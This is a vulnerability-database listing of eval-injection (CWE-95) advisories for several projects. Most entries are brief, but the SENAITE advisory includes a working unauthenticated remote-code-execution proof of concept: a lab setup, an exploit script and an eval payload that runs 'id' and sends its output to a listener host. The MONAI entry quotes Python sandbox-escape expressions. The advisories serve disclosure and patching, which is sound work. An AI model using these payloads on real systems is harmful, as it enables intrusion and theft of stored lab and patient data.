CWE-95
AllowedImproper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
Abstraction: Variant · Status: Incomplete
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").
368 vulnerabilities reference this CWE, most recent first.
GHSA-HXWH-85P6-WM8W
Vulnerability from github – Published: 2026-09-30 00:32 – Updated: 2026-09-30 00:32The application uses unsafe functions that allow execution of inline scripts and string evaluation functions.
{
"affected": [],
"aliases": [
"CVE-2026-69662"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-29T22:17:58Z",
"severity": "LOW"
},
"details": "The application uses unsafe functions that allow execution of inline scripts and string evaluation functions.",
"id": "GHSA-hxwh-85p6-wm8w",
"modified": "2026-09-30T00:32:28Z",
"published": "2026-09-30T00:32:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69662"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-272-02.json"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-272-02"
},
{
"type": "WEB",
"url": "https://www.toptech.com/blog/tms7-version-7-8-strengthens-security"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-J335-CFJ5-2FW8
Vulnerability from github – Published: 2026-09-27 03:31 – Updated: 2026-09-27 03:31MONAI through 1.6.0 contains an eval injection vulnerability in _get_fake_spatial_shape() in monai/bundle/scripts.py. The function validates shape expressions with a helper that walks the AST and only collects ast.Name nodes, rejecting any name other than 'p' or 'n', before passing the string to eval(). Expressions built solely from constants and attribute, subscript, or call nodes (for example "(1).class.bases[0].subclasses()" or "int.class.init.globals") contain no ast.Name nodes and therefore bypass the allowlist. Because the shape value originates from bundle metadata consumed by _get_real_input_data and verify_net_in_out (reachable through the bundle 'verify_net_in_out' CLI flow), an attacker who can influence a bundle's metadata can escape the eval sandbox via object introspection chains and achieve code execution in this non-default flow.
{
"affected": [],
"aliases": [
"CVE-2026-100842"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-27T02:17:22Z",
"severity": "HIGH"
},
"details": "MONAI through 1.6.0 contains an eval injection vulnerability in _get_fake_spatial_shape() in monai/bundle/scripts.py. The function validates shape expressions with a helper that walks the AST and only collects ast.Name nodes, rejecting any name other than \u0027p\u0027 or \u0027n\u0027, before passing the string to eval(). Expressions built solely from constants and attribute, subscript, or call nodes (for example \"(1).__class__.__bases__[0].__subclasses__()\" or \"int.__class__.__init__.__globals__\") contain no ast.Name nodes and therefore bypass the allowlist. Because the shape value originates from bundle metadata consumed by _get_real_input_data and verify_net_in_out (reachable through the bundle \u0027verify_net_in_out\u0027 CLI flow), an attacker who can influence a bundle\u0027s metadata can escape the eval sandbox via object introspection chains and achieve code execution in this non-default flow.",
"id": "GHSA-j335-cfj5-2fw8",
"modified": "2026-09-27T03:31:05Z",
"published": "2026-09-27T03:31:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-h89g-r5pc-wxfm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-100842"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/monai-through-1.6.0-get-fake-spatial-shape-eval-sandbox-bypass-via-attribute-chains"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-J39P-JF99-V5W8
Vulnerability from github – Published: 2026-06-05 18:31 – Updated: 2026-06-05 18:31Markdown Preview Enhanced before 0.8.28 parses WaveDrom diagrams by evaluating untrusted markdown content with eval(), allowing arbitrary JavaScript execution. The flaw affects every render path - the live preview (window.eval) and presentation mode plus HTML export (the bundled WaveDrom.ProcessAll()/eva() helpers) - and can also be triggered through a element injected via raw HTML in markdown. When a victim previews or exports a crafted markdown document, an attacker can execute arbitrary code, leading to arbitrary file write. Fixed in 0.8.28 by parsing with JSON5.parse() and sanitizing WaveDrom data scripts to inert strict JSON.
{
"affected": [],
"aliases": [
"CVE-2026-50733"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-05T18:17:34Z",
"severity": "HIGH"
},
"details": "Markdown Preview Enhanced before 0.8.28 parses WaveDrom diagrams by evaluating untrusted markdown content with eval(), allowing arbitrary JavaScript execution. The flaw affects every render path - the live preview (window.eval) and presentation mode plus HTML export (the bundled WaveDrom.ProcessAll()/eva() helpers) - and can also be triggered through a \u003cscript type=\"WaveDrom\"\u003e element injected via raw HTML in markdown. When a victim previews or exports a crafted markdown document, an attacker can execute arbitrary code, leading to arbitrary file write. Fixed in 0.8.28 by parsing with JSON5.parse() and sanitizing WaveDrom data scripts to inert strict JSON.",
"id": "GHSA-j39p-jf99-v5w8",
"modified": "2026-06-05T18:31:41Z",
"published": "2026-06-05T18:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50733"
},
{
"type": "WEB",
"url": "https://github.com/shd101wyy/vscode-markdown-preview-enhanced/issues/2315"
},
{
"type": "WEB",
"url": "https://github.com/shd101wyy/vscode-markdown-preview-enhanced/releases/tag/0.8.28"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/markdown-preview-enhanced-arbitrary-code-execution-via-wavedrom-eval"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-J3RV-W43Q-F9X2
Vulnerability from github – Published: 2022-08-18 19:15 – Updated: 2022-08-18 19:15Impact
Our library allows strings to be parsed as functions and stored as a specialized component, JsonFunctionValue. To do this, Javascript's eval function was used to execute strings that begin with "function" as Javascript. This was an oversight that unfortunately allows arbitrary code to be executed if it exists as a value within the JSON structure being displayed. Given that this component may often be used to display data from arbitrary, untrusted sources, this is extremely dangerous.
One important note is that users who have defined a custom onSubmitValueParser callback prop on the JsonTree component should be unaffected. This vulnerability exists in the default onSubmitValueParser prop which calls parse.
Patches
We have decided on a two-pronged approach to patching this vulnerability:
- Create a patch update that adds a workaround which is not enabled by default to preserve backwards-compatibility
- On the next major update, we will enable this workaround by default
The workaround we have decided on is adding a prop to JsonTree called allowFunctionEvaluation. This prop will be set to true in v2.2.2, so you can upgrade without fear of losing backwards-compatibility.
We have also implemented additional security measures as we know many people may not read the details of this vulnerability, and we want to do the best we can to keep you protected. In v2.2.2, we switched from using eval to using Function to construct anonymous functions. This is better than eval for the following reasons:
- Arbitrary code should not be able to execute immediately, since the
Functionconstructor explicitly only creates anonymous functions - Functions are created without local closures, so they only have access to the global scope
This change has brought a slight potential for breaking backwards-compatibility if users for some reason were relying on side-effects of our usage of eval, but that is beyond intended behavior, so we have decided to go ahead with this change and consider it a non-breaking change.
Workarounds
As mentioned above, there are a few scenarios you must consider:
If you use:
- Version <2.2.2, you must upgrade as soon as possible.
- Version ^2.2.2, you must explicitly set JsonTree's allowFunctionEvaluation prop to false to fully mitigate this vulnerability.
- Version >=3.0.0, allowFunctionEvaluation is already set to false by default, so no further steps are necessary.
References
None.
For more information
If you have any questions or comments about this advisory: * Open an issue in the GitHub repo
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "react-editable-json-tree"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-36010"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2022-08-18T19:15:28Z",
"nvd_published_at": "2022-08-15T19:15:00Z",
"severity": "CRITICAL"
},
"details": "### Impact\nOur library allows strings to be parsed as functions and stored as a specialized component, [`JsonFunctionValue`](https://github.com/oxyno-zeta/react-editable-json-tree/blob/09a0ca97835b0834ad054563e2fddc6f22bc5d8c/src/components/JsonFunctionValue.js). To do this, Javascript\u0027s [`eval`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) function was used to execute strings that begin with \"function\" as Javascript. This was an oversight that unfortunately allows arbitrary code to be executed if it exists as a value within the JSON structure being displayed. Given that this component may often be used to display data from arbitrary, untrusted sources, this is extremely dangerous.\n\nOne important note is that users who have defined a custom [`onSubmitValueParser`](https://github.com/oxyno-zeta/react-editable-json-tree/tree/09a0ca97835b0834ad054563e2fddc6f22bc5d8c#onsubmitvalueparser) callback prop on the [`JsonTree`](https://github.com/oxyno-zeta/react-editable-json-tree/blob/09a0ca97835b0834ad054563e2fddc6f22bc5d8c/src/JsonTree.js) component should be ***unaffected***. This vulnerability exists in the default `onSubmitValueParser` prop which calls [`parse`](https://github.com/oxyno-zeta/react-editable-json-tree/blob/master/src/utils/parse.js#L30).\n\n### Patches\nWe have decided on a two-pronged approach to patching this vulnerability:\n\n1. Create a patch update that adds a workaround **which is not enabled by default** to preserve backwards-compatibility\n2. On the next major update, **we will enable this workaround by default**\n\nThe workaround we have decided on is adding a prop to `JsonTree` called `allowFunctionEvaluation`. This prop will be set to `true` in v2.2.2, so you can upgrade without fear of losing backwards-compatibility.\n\nWe have also implemented additional security measures as we know many people may not read the details of this vulnerability, and we want to do the best we can to keep you protected. In v2.2.2, we switched from using `eval` to using [`Function`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function) to construct anonymous functions. This is better than `eval` for the following reasons:\n\n- Arbitrary code should not be able to execute immediately, since the `Function` constructor explicitly *only creates* anonymous functions\n- Functions are created without local closures, so they only have access to the global scope\n\nThis change has brought a *slight* potential for breaking backwards-compatibility if users for some reason were relying on side-effects of our usage of `eval`, but that is beyond intended behavior, so we have decided to go ahead with this change and consider it a non-breaking change.\n\n### Workarounds\nAs mentioned above, there are a few scenarios you must consider:\n\nIf you use:\n- **Version `\u003c2.2.2`**, you must upgrade as soon as possible.\n- **Version `^2.2.2`**, you must explicitly set `JsonTree`\u0027s `allowFunctionEvaluation` prop to `false` to fully mitigate this vulnerability.\n- **Version `\u003e=3.0.0`**, `allowFunctionEvaluation` is already set to `false` by default, so no further steps are necessary.\n\n### References\nNone.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in the [GitHub repo](https://github.com/oxyno-zeta/react-editable-json-tree)\n",
"id": "GHSA-j3rv-w43q-f9x2",
"modified": "2022-08-18T19:15:28Z",
"published": "2022-08-18T19:15:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oxyno-zeta/react-editable-json-tree/security/advisories/GHSA-j3rv-w43q-f9x2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36010"
},
{
"type": "PACKAGE",
"url": "https://github.com/oxyno-zeta/react-editable-json-tree"
},
{
"type": "WEB",
"url": "https://github.com/oxyno-zeta/react-editable-json-tree/releases/tag/2.2.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "React Editable Json Tree vulnerable to arbitrary code execution via function parsing"
}
GHSA-J6WG-29XJ-2FJF
Vulnerability from github – Published: 2026-01-18 18:30 – Updated: 2026-01-23 18:31Using string formatting and exception handling, an attacker may bypass n8n's python-task-executor sandbox restrictions and run arbitrary unrestricted Python code in the underlying operating system.
The vulnerability can be exploited via the Code block by an authenticated user with basic permissions and can lead to a full n8n instance takeover on instances operating under "Internal" execution mode.
If the instance is operating under the "External" execution mode (ex. n8n's official Docker image) - arbitrary code execution occurs inside a Sidecar container and not the main node, which significantly reduces the vulnerability impact.
{
"affected": [],
"aliases": [
"CVE-2026-0863"
],
"database_specific": {
"cwe_ids": [
"CWE-94",
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-18T16:15:50Z",
"severity": "HIGH"
},
"details": "Using string formatting and exception handling, an attacker may bypass n8n\u0027s python-task-executor sandbox restrictions and run arbitrary unrestricted Python code in the underlying operating system.\n\nThe vulnerability can be exploited via the Code block by an authenticated user with basic permissions and can lead to a full n8n instance takeover on instances operating under \"Internal\" execution mode.\n\nIf the instance is operating under the \"External\" execution mode (ex. n8n\u0027s official Docker image) - arbitrary code execution occurs inside a Sidecar container and not the main node, which significantly reduces the vulnerability impact.",
"id": "GHSA-j6wg-29xj-2fjf",
"modified": "2026-01-23T18:31:28Z",
"published": "2026-01-18T18:30:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0863"
},
{
"type": "WEB",
"url": "https://github.com/n8n-io/n8n/commit/b73a4283cb14e0f27ce19692326f362c7bf3da02"
},
{
"type": "WEB",
"url": "https://research.jfrog.com/vulnerabilities/n8n-python-runner-sandbox-escape-jfsa-2026-001651077"
},
{
"type": "WEB",
"url": "https://www.smartkeyss.com/post/cve-2026-0863-python-sandbox-escape-in-n8n-via-exception-formatting-and-implicit-code-execution"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J9GX-VJM3-JPMM
Vulnerability from github – Published: 2026-09-22 00:30 – Updated: 2026-09-22 18:33An issue in gray-matter All versions (verified on 4.0.3) allows the JavaScript engine in lib/engines.js using eval() to parse front matter when language is js/javascript.This allows arbitrary code execution.
{
"affected": [],
"aliases": [
"CVE-2026-78847"
],
"database_specific": {
"cwe_ids": [
"CWE-95"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-21T22:16:58Z",
"severity": "CRITICAL"
},
"details": "An issue in gray-matter All versions (verified on 4.0.3) allows the JavaScript engine in lib/engines.js using eval() to parse front matter when language is js/javascript.This allows arbitrary code execution.",
"id": "GHSA-j9gx-vjm3-jpmm",
"modified": "2026-09-22T18:33:27Z",
"published": "2026-09-22T00:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78847"
},
{
"type": "WEB",
"url": "https://github.com/jonschlinkert/gray-matter/issues/112"
},
{
"type": "WEB",
"url": "https://github.com/jonschlinkert/gray-matter/issues/131"
},
{
"type": "WEB",
"url": "https://github.com/jonschlinkert/gray-matter/issues/182"
},
{
"type": "WEB",
"url": "https://blog.checo.cc/en/posts/Security/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JRW6-7X4Q-W25J
Vulnerability from github – Published: 2026-08-26 15:28 – Updated: 2026-08-26 15:28Summary
An unauthenticated remote code execution vulnerability in the SENAITE JSON API allows any network-reachable attacker to execute arbitrary Python on the Zope worker process via a two-request anonymous chain. The /@@API/update route is reachable to anonymous callers and runs eval() on attacker-controlled input before any permission check fires.
This is a different code path from the eval() in the calculations module: no authenticated account of any kind is required.
Details
The vulnerability is the chain of two independent flaws. Either fix alone breaks the unauthenticated chain, but the eval sink remains exploitable by any authenticated user with write access to a RecordsField, so both fixes are needed.
1. Missing AccessJSONAPI gate on JSON API write routes (CWE-862). The route at src/bika/lims/jsonapi/update.py:45-165 does not enforce the senaite.core: Access JSON API permission upfront. Compare with the sibling create.py:179-182, which does:
if not getSecurityManager().checkPermission(AccessJSONAPI, parent):
raise Unauthorized(...)
The check is present on create and absent on update, update_many, remove, doActionFor, doActionFor_many, and getusers. The underlying @@API view is registered by plone.jsonapi.core at browser/configure.zcml:8-13 with permission="zope2.View", which is granted to Anonymous on the Plone Site root.
When an obj_uid is supplied, the route resolves the target through uid_catalog and brain.getObject(). The catalog brain walks the parent path with unrestrictedTraverse and applies restrictedTraverse only on the final segment, so the per-object View permission is enforced on the target. The chain is reachable to anonymous because bika_setup is anonymous-readable on a stock Plone Site (the View permission is acquired from the Plone Site root, which grants View to Anonymous by default).
2. eval() on RecordsField / RecordField values inside set_fields_from_request (CWE-95). Once an object has been resolved, set_fields_from_request in jsonapi/__init__.py:199-252 iterates the request fields. For any field of type RecordsField or RecordField, the helper runs eval(value) on the raw request string at line 240, before the field mutator and its write_permission check execute:
elif fieldtype in ['senaite.core.browser.fields.records.RecordsField',
'senaite.core.browser.fields.record.RecordField']:
try:
value = eval(value)
except Exception:
logger.warning(
"JSONAPI: " + fieldname + ": Invalid "
"JSON/Python variable")
return []
The eval runs in the Zope worker process with full Python builtins available, so a payload such as __import__('os').popen('id').read() executes arbitrary system commands. The transaction savepoint inside update.py rolls back ZODB writes when the mutator subsequently fails, but Python side effects (subprocess, urllib calls, file I/O outside ZODB) have already happened and are not reverted.
The same eval() pattern is also present in the field setters at record.py:253-262 and records.py:135-143.
Anonymous UID discovery. The bika_setup object exposes two RecordsField-typed fields: RejectionReasons and IDFormatting. Its UID is published anonymously by Plone's standard @@uuid view:
GET /senaite/bika_setup/@@uuid HTTP/1.1
HTTP/1.1 200 OK
Content-Type: text/plain
8dbc161fa9f74aa4ad6e76eb1934518a
Origin. Both flaws predate the SENAITE fork. The eval() sink was introduced in d7bf2d4507 (2013-09-04) and the unchecked update route in be3d8cc916 (2013). Both remain present on the current 2.x development tip.
Suggested fixes
Fix 1: add AccessJSONAPI check to every state-changing route in src/bika/lims/jsonapi/, mirroring the existing check in create.py. An audit of every IRouteProvider in configure.zcml is in scope.
# src/bika/lims/jsonapi/update.py
from AccessControl import getSecurityManager
from zExceptions import Unauthorized
from senaite.core.permissions import AccessJSONAPI
def update(self, context, request):
if not getSecurityManager().checkPermission(AccessJSONAPI, context):
raise Unauthorized("You don't have permission to update via JSONAPI")
savepoint = transaction.savepoint()
...
Fix 2: replace eval() with json.loads(). The data shape stored in RecordField and RecordsField is a JSON-compatible dict / list of dicts. Parsing as JSON is sufficient and removes the code-execution primitive entirely:
# src/bika/lims/jsonapi/__init__.py
import json
elif fieldtype in ['senaite.core.browser.fields.records.RecordsField',
'senaite.core.browser.fields.record.RecordField']:
try:
value = json.loads(value)
except (ValueError, TypeError):
logger.warning("JSONAPI: %s: invalid JSON value", fieldname)
return []
Apply the same change at record.py:253-262 and records.py:135-143.
Defense in depth: re-enable Plone's CSRF protection. The audited release ships with class ISenaiteCore(IDisableCSRFProtection) at src/senaite/core/interfaces/__init__.py:30, which disables plone.protect's automatic CSRF write-detection on every request handled by the SENAITE browser layer. Removing the inheritance does not affect this unauthenticated chain but closes several authenticated CSRF chains.
PoC
Tested against the unmodified upstream Docker image senaite/senaite:v2.6.0. No source-code modification, no buildout overrides, no reverse proxy. PASSWORD is set to a non-default value to demonstrate that the chain works without the admin:admin Docker fallback.
docker-compose.yml
services:
senaite:
image: senaite/senaite:v2.6.0
ports:
- "8080:8080"
environment:
PASSWORD: senaitestrong # non-default; chain is credential-free
SITE: senaite
networks:
- poc
listener:
image: python:3.11-alpine
command:
- python
- -c
- |
import http.server, socketserver
log = []
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
if self.path.startswith('/log'):
self.send_response(200); self.send_header('Content-Type', 'text/plain'); self.end_headers()
self.wfile.write(('\n'.join(log)).encode())
else:
log.append(self.path)
self.send_response(200); self.end_headers(); self.wfile.write(b'ok')
def log_message(self, *a, **k): pass
socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(('', 8000), H) as s: s.serve_forever()
ports:
- "8000:8000"
networks:
- poc
networks:
poc:
poc.py
#!/usr/bin/env python3
"""PoC: Unauthenticated RCE on SENAITE.CORE v2.6.0"""
import sys, time, urllib.error, urllib.parse, urllib.request
TARGET = "http://localhost:8080"
SITE = "senaite"
LISTENER_HOST = "http://localhost:8000"
LISTENER_INSIDE = "http://listener:8000"
PAYLOAD = (
"__import__('urllib2').urlopen("
f"'{LISTENER_INSIDE}/?id=' + "
"__import__('os').popen('id').read().replace(' ', '_').replace('\\n', '_')"
")"
)
def http_get(url, timeout=5):
req = urllib.request.Request(url, headers={"Accept": "*/*"})
return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore")
def http_post(url, fields, timeout=10):
body = urllib.parse.urlencode(fields).encode()
req = urllib.request.Request(url, data=body, method="POST")
return urllib.request.urlopen(req, timeout=timeout).read().decode("utf-8", "ignore")
def wait_for_target():
deadline = time.time() + 600
while time.time() < deadline:
try:
with urllib.request.urlopen(f"{TARGET}/{SITE}/login_form", timeout=3) as r:
if r.status == 200: return
except Exception: pass
time.sleep(3)
sys.exit(1)
def discover_bika_setup_uid():
body = http_get(f"{TARGET}/{SITE}/bika_setup/@@uuid", timeout=5).strip()
if len(body) == 32 and all(c in "0123456789abcdef" for c in body):
return body
sys.exit(1)
def fire_payload(uid):
try:
http_post(f"{TARGET}/{SITE}/@@API/update",
{"obj_uid": uid, "RejectionReasons": PAYLOAD})
except urllib.error.HTTPError:
pass
def read_listener():
time.sleep(1)
try:
log = http_get(f"{LISTENER_HOST}/log", timeout=3)
except Exception:
return False
return "id=" in log
if __name__ == "__main__":
wait_for_target()
uid = discover_bika_setup_uid()
fire_payload(uid)
sys.exit(0 if read_listener() else 1)
Run
docker compose up -d
# wait ~1-3 minutes for the senaite-docker first-boot Plone Site provisioning
python3 poc.py
Expected output
[+] VULNERABLE: unauthenticated RCE on SENAITE.CORE v2.6.0
captured: /?id=uid=500(senaite)_gid=500(senaite)_groups=500(senaite)_
The captured query string is the stdout of id from the SENAITE Zope worker, fetched by the worker's urllib2.urlopen call against the in-network listener, proving arbitrary Python execution from a request carrying no credentials.
Impact
Vulnerability type: Unauthenticated remote code execution. Chain of CWE-862 (Missing Authorization) and CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection).
Who is impacted: Every SENAITE deployment whose Plone Site root grants View to Anonymous (the upstream default) and whose /@@API/... endpoints are reachable from any attacker-controlled network. The upstream Docker compose ships 8080:8080 plain HTTP and /manage (ZMI) exposed.
Attacker capability after exploit:
- Arbitrary Python execution in the Zope worker process.
- Full read/write access to the ZODB (Data.fs and blobstorage), so any patient/lab data the LIMS holds.
- Filesystem access on the container's /data volume.
- Outbound network egress from the worker.
- Direct access to acl_users (the Plone PAS user folder) for creating administrator accounts in ZODB. Combined with the exposed /manage ZMI, this gives durable post-exploitation access.
Affected versions: All SENAITE.CORE 2.x releases (2.0.0 through 2.6.0).
Credits
Discovered and reported by Machine Spirits UG, Cologne, Germany. Independent security research focused on medical device and healthcare application security.
- Dr. Simon Weber
- Dipl.-Inf. Volker Schönefeld
- Chiara Fliegner
Website: https://machinespirits.com
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "senaite.core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"last_affected": "2.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54569"
],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-26T15:28:47Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\nAn unauthenticated remote code execution vulnerability in the SENAITE JSON API allows any network-reachable attacker to execute arbitrary Python on the Zope worker process via a two-request anonymous chain. The `/@@API/update` route is reachable to anonymous callers and runs `eval()` on attacker-controlled input before any permission check fires.\n\nThis is a different code path from the `eval()` in the calculations module: no authenticated account of any kind is required.\n\n### Details\n\nThe vulnerability is the chain of two independent flaws. Either fix alone breaks the unauthenticated chain, but the `eval` sink remains exploitable by any authenticated user with write access to a `RecordsField`, so both fixes are needed.\n\n**1. Missing `AccessJSONAPI` gate on JSON API write routes (CWE-862).** The route at [`src/bika/lims/jsonapi/update.py:45-165`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/update.py#L45-L165) does not enforce the `senaite.core: Access JSON API` permission upfront. Compare with the sibling [`create.py:179-182`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/create.py#L179-L182), which does:\n\n```python\nif not getSecurityManager().checkPermission(AccessJSONAPI, parent):\n raise Unauthorized(...)\n```\n\nThe check is present on `create` and absent on `update`, `update_many`, `remove`, `doActionFor`, `doActionFor_many`, and `getusers`. The underlying `@@API` view is registered by `plone.jsonapi.core` at [`browser/configure.zcml:8-13`](https://github.com/collective/plone.jsonapi.core/blob/0.6/src/plone/jsonapi/core/browser/configure.zcml#L8-L13) with `permission=\"zope2.View\"`, which is granted to Anonymous on the Plone Site root.\n\nWhen an `obj_uid` is supplied, the route resolves the target through `uid_catalog` and `brain.getObject()`. The catalog brain walks the parent path with `unrestrictedTraverse` and applies `restrictedTraverse` only on the final segment, so the per-object View permission is enforced on the target. The chain is reachable to anonymous because `bika_setup` is anonymous-readable on a stock Plone Site (the `View` permission is acquired from the Plone Site root, which grants `View` to `Anonymous` by default).\n\n**2. `eval()` on `RecordsField` / `RecordField` values inside `set_fields_from_request` (CWE-95).** Once an object has been resolved, [`set_fields_from_request` in `jsonapi/__init__.py:199-252`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/__init__.py#L199-L252) iterates the request fields. For any field of type `RecordsField` or `RecordField`, the helper runs `eval(value)` on the raw request string at [line 240](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/__init__.py#L240), **before** the field mutator and its `write_permission` check execute:\n\n```python\nelif fieldtype in [\u0027senaite.core.browser.fields.records.RecordsField\u0027,\n \u0027senaite.core.browser.fields.record.RecordField\u0027]:\n try:\n value = eval(value)\n except Exception:\n logger.warning(\n \"JSONAPI: \" + fieldname + \": Invalid \"\n \"JSON/Python variable\")\n return []\n```\n\nThe `eval` runs in the Zope worker process with full Python builtins available, so a payload such as `__import__(\u0027os\u0027).popen(\u0027id\u0027).read()` executes arbitrary system commands. The transaction savepoint inside `update.py` rolls back ZODB writes when the mutator subsequently fails, but Python side effects (subprocess, urllib calls, file I/O outside ZODB) have already happened and are not reverted.\n\nThe same `eval()` pattern is also present in the field setters at [`record.py:253-262`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/record.py#L253-L262) and [`records.py:135-143`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/senaite/core/browser/fields/records.py#L135-L143).\n\n**Anonymous UID discovery.** The `bika_setup` object exposes two `RecordsField`-typed fields: `RejectionReasons` and `IDFormatting`. Its UID is published anonymously by Plone\u0027s standard [`@@uuid`](https://github.com/plone/plone.app.uuid) view:\n\n```\nGET /senaite/bika_setup/@@uuid HTTP/1.1\nHTTP/1.1 200 OK\nContent-Type: text/plain\n\n8dbc161fa9f74aa4ad6e76eb1934518a\n```\n\n**Origin.** Both flaws predate the SENAITE fork. The `eval()` sink was introduced in [`d7bf2d4507`](https://github.com/senaite/senaite.core/commit/d7bf2d4507) (2013-09-04) and the unchecked `update` route in [`be3d8cc916`](https://github.com/senaite/senaite.core/commit/be3d8cc916) (2013). Both remain present on the current 2.x development tip.\n\n### Suggested fixes\n\n**Fix 1: add `AccessJSONAPI` check to every state-changing route** in `src/bika/lims/jsonapi/`, mirroring the existing check in `create.py`. An audit of every `IRouteProvider` in [`configure.zcml`](https://github.com/senaite/senaite.core/blob/v2.6.0/src/bika/lims/jsonapi/configure.zcml) is in scope.\n\n```python\n# src/bika/lims/jsonapi/update.py\nfrom AccessControl import getSecurityManager\nfrom zExceptions import Unauthorized\nfrom senaite.core.permissions import AccessJSONAPI\n\ndef update(self, context, request):\n if not getSecurityManager().checkPermission(AccessJSONAPI, context):\n raise Unauthorized(\"You don\u0027t have permission to update via JSONAPI\")\n savepoint = transaction.savepoint()\n ...\n```\n\n**Fix 2: replace `eval()` with `json.loads()`.** The data shape stored in `RecordField` and `RecordsField` is a JSON-compatible dict / list of dicts. Parsing as JSON is sufficient and removes the code-execution primitive entirely:\n\n```python\n# src/bika/lims/jsonapi/__init__.py\nimport json\n\nelif fieldtype in [\u0027senaite.core.browser.fields.records.RecordsField\u0027,\n \u0027senaite.core.browser.fields.record.RecordField\u0027]:\n try:\n value = json.loads(value)\n except (ValueError, TypeError):\n 